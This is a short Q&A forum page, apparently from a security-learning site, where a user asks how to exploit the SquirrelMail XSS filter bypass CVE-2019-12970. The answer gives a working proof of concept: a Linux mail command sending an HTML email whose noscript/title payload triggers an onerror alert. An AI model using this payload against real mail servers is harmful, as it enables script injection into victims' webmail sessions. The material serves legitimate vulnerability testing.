Techbypass always tries to help you to learn about recent vulnerabilities and exploitations.

Learn and share your security findings and help others to secure their digital assets.

Need any help mail to [email protected]

How can I bypass the SquirrelMail XSS script filter (CVE-2019-12970)?

0 votes
How can I exploit my SquirrelMail against this CVE-2019-12970?
by (169 points)

1 Answer

0 votes

To exploit this you need to use the Linux mail command. Like this

mail -a "Content-type: text/html" -s "My little pony" \
        [email protected] <<EOD
<html><head></head><body>
<noscript>
<p title="</noscript><img src=x onerror=alert(2)>"></p>
</noscript>
</body></html>
EOD

by (277 points)
 | Snow Theme by Q2A Market
Powered by Question2Answer
...